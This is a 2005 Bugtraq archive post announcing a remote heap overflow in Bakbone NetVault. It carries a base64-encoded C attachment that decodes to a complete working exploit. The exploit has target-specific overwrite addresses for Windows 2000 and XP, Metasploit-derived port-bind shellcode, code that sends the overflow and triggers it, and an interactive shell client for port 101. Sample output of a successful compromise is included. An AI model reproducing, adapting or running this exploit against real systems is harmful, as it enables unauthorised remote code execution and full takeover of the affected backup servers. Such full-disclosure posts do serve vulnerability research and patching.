[38847] in bugtraq

home help back first fref pref prev next nref lref last post

Netvault Remote Heap Overflow (another one)

daemon@ATHENA.MIT.EDU (nolimit bugtraq)
Fri May 13 13:12:41 2005

Message-ID: <786b40bf05051214246567b1bb@mail.gmail.com>
Date: Thu, 12 May 2005 17:24:42 -0400
From: nolimit bugtraq <nolimit.bugtraq@gmail.com>
Reply-To: nolimit bugtraq <nolimit.bugtraq@gmail.com>
To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com,
        Full-Disclosure@lists.grok.org.uk, news@securiteam.com,
        submit@milw0rm.com
Mime-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_7080_20817394.1115933082520"

------=_Part_7080_20817394.1115933082520
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Here is another remote heap overflow for the Bakbone Netvault software.
The code is attached.

------=_Part_7080_20817394.1115933082520
Content-Type: text/plain; name="netvault.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="netvault.c"

LyogQmFrYm9uZSBOZXR2YXVsdCBoZWFwIG92ZXJmbG93IGV4cGxvaXQuIA0KU29mdHdhcmUgSG9s
ZSBkaXNjb3ZlcmVkIGJ5IEJ1enpEZWUNClBPQyB3cml0dGVuIGJ5IG5vbGltaXQgYW5kIEJ1enpE
ZWUuDQoNCkFzIGNsYXNzMTAxIGhhcyBhbHJlYWR5IHNob3duLCB0aGlzIGFwcGxpY2F0aW9uIGhh
cyBhIGxvdCBvZiBob2xlcy4gDQpUaGlzIGlzIGFub3RoZXIgcmVtb3RlIGhlYXAgb3ZlcmZsb3cu
IFRoaXMgd2FzIHRlc3RlZCBvbiB0aGUgZGVtbyB2ZXJzaW9uDQpvZiBuZXR2YXVsdC4gV2UgY29u
c2lkZXJlZCBtYWlsaW5nIHRoZSB2ZW5kb3Igb24gdGhpcyBvbmUsIGJ1dCBmaWd1cmVkIHdlJ2Qg
cmVjaWV2ZQ0KdGhlIHNhbWUgcmVzcG9uc2UgY2xhc3MgZGlkLCB3aGljaCB3YXMgbm9uZS4gU28g
cGVyaGFwcyBhIHNlY29uZCBjcml0aWNhbCB2dWxuZXJhYmlsdHkNCndpbGwgd2FrZSBCYWtib25l
IHVwIHRvIHRoZWlyIHNvZnR3YXJlIGZhdWx0cy4gDQoNCkEgbm90ZSB0byBza2lkZGllcyBhYm91
dCB0aGlzIGV4cGxvaXQNClRoaXMgd29uJ3QgcmVhbGx5IG5ldCB5b3UgYSBsb3Qgb2YgZWxpdGUg
YjB4ZXMgYmVjYXVzZSBjbGFzczEwMSdzIGlzbid0IHBhdGNoZWQsDQogc28gaXQncyBqdXN0IGFz
IHZ1bG5lcmFibGUgYXMgdGhpcy4gTm90IHRvIG1lbnRpb24gdGhlIGZhY3QgdGhhdCBub3QgbWFu
eSBidXNpbmVzc2VzDQogdXNlIHRoaXMgc29mdHdhcmUgYW55d2F5Lg0KIC4uTWF5YmUgaXQncyBi
ZWNhdXNlIG9mIGFsbCB0aGUgaG9sZXM/Pw0KDQpUaHggdG8gRmxhcmUsIEFjZUhpZ2gsIFNoaWZ0
LGNsYXNzMTAxLCBhbmQgb2YgY291cnNlIEJ1enpEZWUuDQpTb3JyeS4uIGV2ZXJ5b25lIHdhbnRz
IHRvIGJlIGZhbW91cyA6KQ0KDQoNCiBDOlxDT0RJTkdcYysrXG5ldHZhdWx0XFJlbGVhc2U+bmV0
dmF1bHQgMSAyS1ZNDQpbKl0gVGFyZ2V0OiAgICAgMktWTSAgICBQb3J0OiAyMDAzMQ0KDQpUYXJn
ZXR0aW5nIDJLLi4NClsqXSBTb2NrZXQgaW5pdGlhbGl6ZWQuLi4NClsqXSBTZW5kaW5nICBidWZm
ZXIuDQpbKl0gU2xlZXBpbmcuLi4uLi4uLi4uLi4uLg0KWypdIENvbm5lY3RpbmcgYWdhaW4gdG8g
dHJpZ2dlciBvdmVyZmxvdy4uDQpbKl0gQ29ubmVjdGluZyB0byBob3N0OiAyS1ZNIG9uIHBvcnQg
MTAxDQpbKl0gRXhwbG9pdCB3b3JrZWQhIGRyb3BwaW5nIGludG8gc2hlbGwNCk1pY3Jvc29mdCBX
aW5kb3dzIDIwMDAgW1ZlcnNpb24gNS4wMC4yMTk1XQ0KKEMpIENvcHlyaWdodCAxOTg1LTIwMDAg
TWljcm9zb2Z0IENvcnAuDQoNCkM6XFByb2dyYW0gRmlsZXNcQmFrQm9uZSBTb2Z0d2FyZVxOZXRW
YXVsdD4NCi1ub2xpbWl0QENPUkVpU08NCiovDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRl
IDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxpby5oPg0KI2luY2x1ZGUgPHdpbnNvY2suaD4NCiNwcmFn
bWEgY29tbWVudChsaWIsIndzMl8zMiIpDQoNCnZvaWQgY21kc2hlbGwgKGludCBzb2NrKTsNCmxv
bmcgZ2ltbWVpcChjaGFyICpob3N0bmFtZSk7DQpjaGFyIGJ1ZmZlcls0MDAwMF07DQovL2luaXRp
YWwgcmVxdWVzdCB0byBob3N0DQpjaGFyIHBhY2tldFtdPQ0KIlx4MDBceDAwXHgwMlx4MDFceDAw
XHgwMFx4MDBceDhGXHhEMFx4RjBceENBXHgwQlx4MDBceDAwXHgwMFx4NjkiDQoiXHgzQlx4NjJc
eDNCXHg2Rlx4M0JceDZGXHgzQlx4N0FceDNCXHgwMFx4MTFceDU3XHgzQ1x4NDJceDAwXHgwMSIN
CiJceEI5XHhGOVx4QTJceEM4XHgwMFx4MDBceDAwXHgwMFx4MDNceDAwXHgwMFx4MDBceDAwXHgw
MVx4QTVceDk3Ig0KIlx4RjBceENBXHgwNVx4MDBceDAwXHgwMFx4NkVceDMzXHgzMlx4M0JceDAw
XHgyMFx4MDBceDAwXHgwMFx4MTAiDQoiXHgwMlx4NEVceDNGXHhBQ1x4MTRceENDXHgwQVx4MDBc
eDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCINCiJceDAwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAxIg0KIlx4QTVceDk3XHhG
MFx4Q0FceDA1XHgwMFx4MDBceDAwXHg2RVx4MzNceDMyXHgzQlx4MDBceDIwXHgwMFx4MDAiDQoi
XHgwMFx4MTBceDAyXHg0RVx4M0ZceEMwXHhBOFx4RUFceEVCXHgwMFx4MDBceDAwXHgwMFx4MDBc
eDAwXHgwMCINCiJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwIg0KIlx4MDBceDAxXHhBNVx4OTdceEYwXHhDQVx4MDVceDAwXHgw
MFx4MDBceDZFXHgzM1x4MzJceDNCXHgwMFx4MjAiDQoiXHgwMFx4MDBceDAwXHgxMFx4MDJceDRF
XHgzRlx4QzJceDk3XHgyQ1x4RDNceDAwXHgwMFx4MDBceDAwXHgwMCINCiJceDAwXHgwMFx4MDBc
eDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIg0KIlx4
MDBceDAwXHgwMFx4QjlceEY5XHhBMlx4QzhceDAyXHgwMlx4MDBceDAwXHgwMFx4QTVceDk3XHhG
MFx4Q0EiDQoiXHgwNVx4MDBceDAwXHgwMFx4NkVceDMzXHgzMlx4M0JceDAwXHgyMFx4MDBceDAw
XHgwMFx4MDRceDAyXHg0RSINCiJceDNGXHhBQ1x4MTRceENDXHgwQVx4QjBceEZDXHhFMlx4MDBc
eDAwXHgwMFx4MDBceDAwXHhFQ1x4RkFceDhFIg0KIlx4MDFceEE0XHg2Qlx4NDFceDAwXHhFNFx4
RkFceDhFXHgwMVx4RkZceEZGXHhGRlx4RkZceDAxXHgwMiI7DQovL2NsYXNzMTAxIG1vZGlmaWVk
IHNoZWxsY29kZSBmcm9tIG1ldGFzcGxvaXQuY29tLiB5dW1teS4NCmNoYXIgc2hlbGxjb2RlW109
DQoJIlx4MzNceEM5XHg4M1x4RTlceEFGXHhEOVx4RUVceEQ5XHg3NFx4MjRceEY0XHg1Qlx4ODFc
eDczXHgxM1x4QkIiDQoJIlx4MUVceEQzXHg2QVx4ODNceEVCXHhGQ1x4RTJceEY0XHg0N1x4NzRc
eDM4XHgyNVx4NTNceEU3XHgyQ1x4OTUiDQoJIlx4NDRceDdFXHg1OFx4MDZceDlGXHgzQVx4NThc
eDJGXHg4N1x4OTVceEFGXHg2Rlx4QzNceDFGXHgzQ1x4RTEiDQoJIlx4RjRceDA2XHg1OFx4MzVc
eDlCXHgxRlx4MzhceDg5XHg4Qlx4NTdceDU4XHg1RVx4MzBceDFGXHgzRFx4NUIiDQoJIlx4N0Jc
eDg3XHg3Rlx4RUVceDdCXHg2QVx4RDRceEFCXHg3MVx4MTNceEQyXHhBOFx4NTBceEVBXHhFOFx4
M0UiDQoJIlx4OUZceDM2XHhBNlx4ODlceDMwXHg0MVx4RjdceDZCXHg1MFx4NzhceDU4XHg2Nlx4
RjBceDk1XHg4Q1x4NzYiDQoJIlx4QkFceEY1XHhEMFx4NDZceDMwXHg5N1x4QkZceDRFXHhBN1x4
N0ZceDEwXHg1Qlx4N0JceDdBXHg1OFx4MkEiDQoJIlx4OEJceDk1XHg5M1x4NjZceDMwXHg2RVx4
Q0ZceEM3XHgzMFx4NUVceERCXHgzNFx4RDNceDkwXHg5RFx4NjQiDQoJIlx4NTdceDRFXHgyQ1x4
QkNceDhBXHhDNVx4QjVceDM5XHhERFx4NzZceEUwXHg1OFx4RDNceDY5XHhBMFx4NTgiDQoJIlx4
RTRceDRBXHgyQ1x4QkFceEQzXHhENVx4M0VceDk2XHg4MFx4NEVceDJDXHhCQ1x4RTRceDk3XHgz
Nlx4MEMiDQoJIlx4M0FceEYzXHhEQlx4NjhceEVFXHg3NFx4RDFceDk1XHg2Qlx4NzZceDBBXHg2
M1x4NEVceEIzXHg4NFx4OTUiDQoJIlx4NkRceDREXHg4MFx4MzlceEU4XHg0RFx4OTBceDM5XHhG
OFx4NERceDJDXHhCQVx4RERceDc2XHhEM1x4MEYiDQoJIlx4RERceDREXHg1QVx4OEJceDJFXHg3
Nlx4NzdceDcwXHhDQlx4RDlceDg0XHg5NVx4NkRceDc0XHhDM1x4M0IiDQoJIlx4RUVceEUxXHgw
M1x4MDJceDFGXHhCM1x4RkRceDgzXHhFQ1x4RTFceDA1XHgzOVx4RUVceEUxXHgwM1x4MDIiDQoJ
Ilx4NUVceDU3XHg1NVx4MjNceEVDXHhFMVx4MDVceDNBXHhFRlx4NEFceDg2XHg5NVx4NkJceDhE
XHhCQlx4OEQiDQoJIlx4QzJceEQ4XHhBQVx4M0RceDQ0XHhDOFx4ODZceDk1XHg2Qlx4NzhceEI5
XHgwRVx4RERceDc2XHhCMFx4MDciDQoJIlx4MzJceEZCXHhCOVx4M0FceEUyXHgzN1x4MUZceEUz
XHg1Q1x4NzRceDk3XHhFM1x4NTlceDJGXHgxM1x4OTkiDQoJIlx4MTFceEUwXHg5MVx4NDdceDQ1
XHg1Q1x4RkZceEY5XHgzNlx4NjRceEVCXHhDMVx4MTBceEI1XHhCQlx4MTgiDQoJIlx4NDVceEFE
XHhDNVx4OTVceENFXHg1QVx4MkNceEJDXHhFMFx4NDlceDgxXHgzQlx4RUFceDRGXHhCOVx4NkIi
DQoJIlx4RUFceDRGXHg4Nlx4M0JceDQ0XHhDRVx4QkJceEM3XHg2Mlx4MUJceDFEXHgzOVx4NDRc
eEM4XHhCOVx4OTUiDQoJIlx4NDRceDI5XHgyQ1x4QkFceDMwXHg0OVx4MkZceEU5XHg3Rlx4N0Fc
eDJDXHhCQ1x4RTlceEUxXHgwM1x4MDIiIA0KCSJceDU0XHhEMFx4MzNceDBBXHhFOFx4RTFceDA1
XHg5NVx4NkJceDFFXHhEM1x4NkEiOw0KDQpjaGFyIGptcFRvWFBbXT0iXHhCRFx4OUJceDM2XHg3
QyI7IC8vWFAgU1AxDQpjaGFyIHVlZk92ZXJXcml0ZVhQW109Ilx4QjRceDczXHhFRFx4NzciOy8v
WFAgU1AxDQpjaGFyIGptcFRvMktbXT0iXHg3RVx4NkRceDAzXHg3NSI7ICAvLzJrIFNQNA0KY2hh
ciB1ZWZPdmVyV3JpdGUyS1tdPSJceDRDXHgxNFx4NTRceDdDIjsgIC8vMksgU1A0DQoNCmludCBt
YWluKGludCBhcmdjLGNoYXIgKmFyZ3ZbXSkNCnsgICAgIA0KCQlXU0FEQVRBIHdzYURhdGE7DQoJ
CXN0cnVjdCBzb2NrYWRkcl9pbiB0YXJnZXRUQ1A7DQoJCWludCBzb2NrVENQLHM7DQoJCXVuc2ln
bmVkIHNob3J0IHBvcnQgPSAyMDAzMTsNCgkJbG9uZyBpcDsNCgkJaWYoYXJnYyA8IDMpDQoJCXsN
CgkJCQ0KCQkJcHJpbnRmKCJCYWtib25lIE5ldHZhdWx0IFJlbW90ZSBIZWFwIE92ZXJmbG93Llxu
Ig0KCQkJCSJVc2FnZTogJXMgW1RhcmdldF0gW2FkZHJlc3NdIDxwb3J0PlxuIg0KCQkJCSIgZWc6
IG5ldHZhdWx0LmV4ZSAxIDEyNy4wLjAuMVxuIg0KCQkJCSJUYXJnZXRzXG4xLiBXaW5kb3dzIDIw
MDBcbjIuIFdpbmRvd3MgWFAgU1AwLTFcbiINCgkJCQkJIkNvZGVkIGJ5IG5vbGltaXRAQ2lTTyBh
bmQgQnV6ekRlZS5cbiIsYXJndlswXSk7DQoJCQlyZXR1cm4gMTsJCQkNCgkJfQkJDQoJCWlmKGFy
Z2M9PTQpDQoJCQlwb3J0ID0gYXRvaShhcmd2WzNdKTsJCQkJCQ0KICAgICAgICBXU0FTdGFydHVw
KDB4MDIwMiwgJndzYURhdGEpOwkJCQkNCgkJcHJpbnRmKCJbKl0gVGFyZ2V0Olx0JXMgXHRQb3J0
OiAlZFxuXG4iLGFyZ3ZbMl0scG9ydCk7DQoJCWlwPWdpbW1laXAoYXJndlsyXSk7CQ0KICAgICAg
ICB0YXJnZXRUQ1Auc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgICAgIHRhcmdldFRDUC5zaW5f
YWRkci5zX2FkZHIgPSBpcDsNCiAgICAgICAgdGFyZ2V0VENQLnNpbl9wb3J0ID0gaHRvbnMocG9y
dCk7DQoJCW1lbXNldChidWZmZXIsJ1x4OTAnLDQwMDAwKTsNCgkJbWVtY3B5KGJ1ZmZlcixwYWNr
ZXQsc2l6ZW9mKHBhY2tldCktMSk7IC8vcmVxdWVzdCBwYWNrZXQNCgkJbWVtY3B5KGJ1ZmZlcisz
Mjc5MCwiXHhFQlx4MEMiLDIpOyAvL0pNUCBhaGVhZCBvdmVyIHRoZSAyIG92ZXJ3cml0ZXMNCgkJ
c3dpdGNoKGF0b2koYXJndlsxXSkpDQoJCXsNCgkJCWNhc2UgMToNCgkJCXByaW50ZigiVGFyZ2V0
dGluZyAySy4uXG4iKTsNCgkJCW1lbWNweShidWZmZXIrMzI3OTIsam1wVG8ySyxzaXplb2Yoam1w
VG8ySyktMSk7IC8vb3ZlcndyaXRlIHBvaW50ZXIgdG8gQ0FMTCBbRURJKzc0XQ0KCQkJbWVtY3B5
KGJ1ZmZlciszMjc5Nix1ZWZPdmVyV3JpdGUySyxzaXplb2YodWVmT3ZlcldyaXRlMkspLTEpOyAv
L1VFRiBhcyBjaG9zZW4uDQoJCQlicmVhazsNCgkJCWNhc2UgMjoNCgkJCXByaW50ZigiVGFyZ2V0
dGluZyBYUC4uXG4iKTsNCgkJCW1lbWNweShidWZmZXIrMzI3OTIsam1wVG9YUCxzaXplb2Yoam1w
VG9YUCktMSk7IC8vb3ZlcndyaXRlIHBvaW50ZXIgdG8gQ0FMTCBbRURJKzc0XQ0KCQkJbWVtY3B5
KGJ1ZmZlciszMjc5Nix1ZWZPdmVyV3JpdGVYUCxzaXplb2YodWVmT3ZlcldyaXRlWFApLTEpOyAv
L1VFRiBhcyBjaG9zZW4uDQoJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQoJCQlwcmludGYoIkVycm9y
IHRhcmdldCBub3QgZm91bmQuXG4iKTsNCgkJCXJldHVybiAxOw0KCQkJYnJlYWs7DQoJCX0NCgkJ
bWVtY3B5KGJ1ZmZlciszMjgyMCxzaGVsbGNvZGUsc2l6ZW9mKHNoZWxsY29kZSktMSk7IC8vMTAx
IHBvcnRiaW5kIHRoeCBjbGFzczEwMS9tZXRhc3Bsb2l0IDtwDQoJCW1lbWNweShidWZmZXIrMzk5
NDcsIlx4MDBceDAwXHgwMCIsMyk7IC8vYWxsIGRvbmUhIG9ubHkgMzk5NTAgYnl0ZXMhIDtQDQoJ
CWlmICgoc29ja1RDUCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCkpID09IC0xKQ0K
CQl7DQoJCQkJcHJpbnRmKCJbeF0gU29ja2V0IG5vdCBpbml0aWFsaXplZCEgRXhpdGluZy4uLlxu
Iik7DQoJCQkJV1NBQ2xlYW51cCgpOw0KICAgICAgICAgICAgICAgIHJldHVybiAxOw0KCQl9DQoJ
CXByaW50ZigiWypdIFNvY2tldCBpbml0aWFsaXplZC4uLlxuIik7CQkJCQkNCgkJaWYoY29ubmVj
dChzb2NrVENQLChzdHJ1Y3Qgc29ja2FkZHIgKikmdGFyZ2V0VENQLCBzaXplb2YodGFyZ2V0VENQ
KSkgIT0gMCkNCgkJew0KCQkJcHJpbnRmKCJbKl0gQ29ubmVjdGlvbiB0byBob3N0IGZhaWxlZCEg
RXhpdGluZy4uLlxuIik7DQoJCQlXU0FDbGVhbnVwKCk7DQoJCQlleGl0KDEpOw0KCQl9IAkJDQoJ
CXByaW50ZigiWypdIFNlbmRpbmcgIGJ1ZmZlci5cbiIpOw0KCQlTbGVlcCgxMDAwKTsNCgkJaWYg
KHNlbmQoc29ja1RDUCwgYnVmZmVyLCAzOTk1MCwwKSA9PSAtMSkNCgkJew0KCQkJCXByaW50Zigi
W3hdIEZhaWxlZCB0byBpbmplY3QgcGFja2V0ISBFeGl0aW5nLi4uXG4iKTsNCgkJCQlXU0FDbGVh
bnVwKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIDE7DQoJCX0JCQ0KCQlwcmludGYoIlsqXSBT
bGVlcGluZy4iKTsNCgkJZm9yKHM9MDtzPDg7cysrKQ0KCQl7IC8vd2FpdCBmb3IgaXQgdG8gY2F0
Y2gNCgkJCXByaW50ZigiLiIpOw0KCQkJU2xlZXAoNTAwKTsNCgkJfQ0KCQljbG9zZXNvY2tldChz
b2NrVENQKTsNCgkJZm9yKHM9MDtzPDU7cysrKQ0KCQl7DQoJCQlwcmludGYoIi4iKTsNCgkJCVNs
ZWVwKDUwMCk7DQoJCX0gLy9leHBsb2l0IHRyaWdnZXJzIHdoZW4geW91IHJlY29ubmVjdCBzb21l
dGltZXMNCgkJcHJpbnRmKCJcblsqXSBDb25uZWN0aW5nIGFnYWluIHRvIHRyaWdnZXIgb3ZlcmZs
b3cuLlxuIik7DQoJCWlmICgoc29ja1RDUCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwg
MCkpID09IC0xKQ0KCQl7IA0KCQkJCXByaW50ZigiW3hdIFNvY2tldCBub3QgaW5pdGlhbGl6ZWQh
IEV4aXRpbmcuLi5cbiIpOw0KCQkJCVdTQUNsZWFudXAoKTsNCiAgICAgICAgICAgICAgICByZXR1
cm4gMTsNCgkJfQ0KCQlpZihjb25uZWN0KHNvY2tUQ1AsKHN0cnVjdCBzb2NrYWRkciAqKSZ0YXJn
ZXRUQ1AsIHNpemVvZih0YXJnZXRUQ1ApKSAhPSAwKQ0KCQl7DQoJCQlwcmludGYoIlsqXSBDb25u
ZWN0aW9uIHRvIGhvc3QgZmFpbGVkISBFeGl0aW5nLi4uXG4iKTsNCgkJCVdTQUNsZWFudXAoKTsN
CgkJCWV4aXQoMSk7DQoJCX0gCQkNCgkJU2xlZXAoNTAwKTsNCgkJY2xvc2Vzb2NrZXQoc29ja1RD
UCk7DQoJCQkJDQoJCXByaW50ZigiWypdIENvbm5lY3RpbmcgdG8gaG9zdDogJXMgb24gcG9ydCAx
MDFcbiIsYXJndlsyXSk7DQoJCWlmICgoc29ja1RDUCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NU
UkVBTSwgMCkpID09IC0xKQ0KCQl7DQoJCQkJcHJpbnRmKCJbeF0gU29ja2V0IG5vdCBpbml0aWFs
aXplZCEgRXhpdGluZy4uLlxuIik7DQoJCQkJV1NBQ2xlYW51cCgpOw0KICAgICAgICAgICAgICAg
IHJldHVybiAxOw0KCQl9DQoJCXRhcmdldFRDUC5zaW5fcG9ydD0gaHRvbnMoMTAxKTsNCgkJaWYo
Y29ubmVjdChzb2NrVENQLChzdHJ1Y3Qgc29ja2FkZHIgKikmdGFyZ2V0VENQLCBzaXplb2YodGFy
Z2V0VENQKSkgIT0gMCkNCgkJew0KCQkJcHJpbnRmKCJbKl0gQ29ubmVjdGlvbiB0byBob3N0IGZh
aWxlZCEgRXhpdGluZy4uLlxuIik7DQoJCQlXU0FDbGVhbnVwKCk7DQoJCQlleGl0KDEpOw0KCQl9
IAkJDQoJCXByaW50ZigiWypdIEV4cGxvaXQgd29ya2VkISBkcm9wcGluZyBpbnRvIHNoZWxsXG4i
KTsNCgkJY21kc2hlbGwoc29ja1RDUCk7DQoJCVdTQUNsZWFudXAoKTsNCgkJZXhpdCgxKTsNCgkJ
cmV0dXJuIDA7DQp9DQovKg0KVGFrZW4gZnJvbSBzb21lIHJhbmRvbSBleHBsb2l0Lg0KZ29vZCwg
c2ltcGxlIGNtZHNoZWxsIGZ1bmN0aW9uLg0KKi8NCnZvaWQgY21kc2hlbGwgKGludCBzb2NrKQ0K
ew0KIHN0cnVjdCB0aW1ldmFsIHR2Ow0KIGludCBsZW5ndGg7DQogdW5zaWduZWQgbG9uZyBvWzJd
Ow0KIGNoYXIgYnVmZmVyWzEwMDBdOw0KIA0KIHR2LnR2X3NlYyA9IDE7DQogdHYudHZfdXNlYyA9
IDA7DQoNCiB3aGlsZSAoMSkgDQogew0KCW9bMF0gPSAxOw0KCW9bMV0gPSBzb2NrOwkNCg0KCWxl
bmd0aCA9IHNlbGVjdCAoMCwgKGZkX3NldCAqKSZvLCBOVUxMLCBOVUxMLCAmdHYpOw0KCWlmKGxl
bmd0aCA9PSAxKQ0KCXsNCgkJbGVuZ3RoID0gcmVjdiAoc29jaywgYnVmZmVyLCBzaXplb2YgKGJ1
ZmZlciksIDApOw0KCQlpZiAobGVuZ3RoIDw9IDApIA0KCQl7DQoJCQlwcmludGYgKCJbeF0gQ29u
bmVjdGlvbiBjbG9zZWQuXG4iKTsNCgkJCVdTQUNsZWFudXAoKTsNCgkJCXJldHVybjsNCgkJfQ0K
CQlsZW5ndGggPSB3cml0ZSAoMSwgYnVmZmVyLCBsZW5ndGgpOw0KCQlpZiAobGVuZ3RoIDw9IDAp
IA0KCQl7DQoJCQlwcmludGYgKCJbeF0gQ29ubmVjdGlvbiBjbG9zZWQuXG4iKTsNCgkJCVdTQUNs
ZWFudXAoKTsNCgkJCXJldHVybjsNCgkJfQ0KCX0NCgllbHNlDQoJew0KICAgIAlsZW5ndGggPSBy
ZWFkICgwLCBidWZmZXIsIHNpemVvZiAoYnVmZmVyKSk7DQoJCWlmIChsZW5ndGggPD0gMCkgDQoJ
CXsNCgkJCXByaW50ZigiW3hdIENvbm5lY3Rpb24gY2xvc2VkLlxuIik7DQoJCQlXU0FDbGVhbnVw
KCk7DQoJCQlyZXR1cm47DQoJCX0NCgkJbGVuZ3RoID0gc2VuZChzb2NrLCBidWZmZXIsIGxlbmd0
aCwgMCk7DQoJCWlmIChsZW5ndGggPD0gMCkgDQoJCXsNCgkJCXByaW50ZigiW3hdIENvbm5lY3Rp
b24gY2xvc2VkLlxuIik7DQoJCQlXU0FDbGVhbnVwKCk7DQoJCQlyZXR1cm47DQoJCX0NCgl9DQp9
DQoNCn0NCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQpsb25nIGdpbW1laXAoY2hhciAqaG9z
dG5hbWUpIA0Kew0KCXN0cnVjdCBob3N0ZW50ICpoZTsNCglsb25nIGlwYWRkcjsNCgkNCglpZiAo
KGlwYWRkciA9IGluZXRfYWRkcihob3N0bmFtZSkpIDwgMCkgDQoJew0KCQlpZiAoKGhlID0gZ2V0
aG9zdGJ5bmFtZShob3N0bmFtZSkpID09IE5VTEwpIA0KCQl7DQoJCQlwcmludGYoIlt4XSBGYWls
ZWQgdG8gcmVzb2x2ZSBob3N0OiAlcyEgRXhpdGluZy4uLlxuXG4iLGhvc3RuYW1lKTsNCgkJCVdT
QUNsZWFudXAoKTsNCgkJCWV4aXQoMSk7DQoJCX0NCgkJbWVtY3B5KCZpcGFkZHIsIGhlLT5oX2Fk
ZHIsIGhlLT5oX2xlbmd0aCk7DQoJfQkNCglyZXR1cm4gaXBhZGRyOw0KfQ0KLyoqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKi8NCg==
------=_Part_7080_20817394.1115933082520--

home help back first fref pref prev next nref lref last post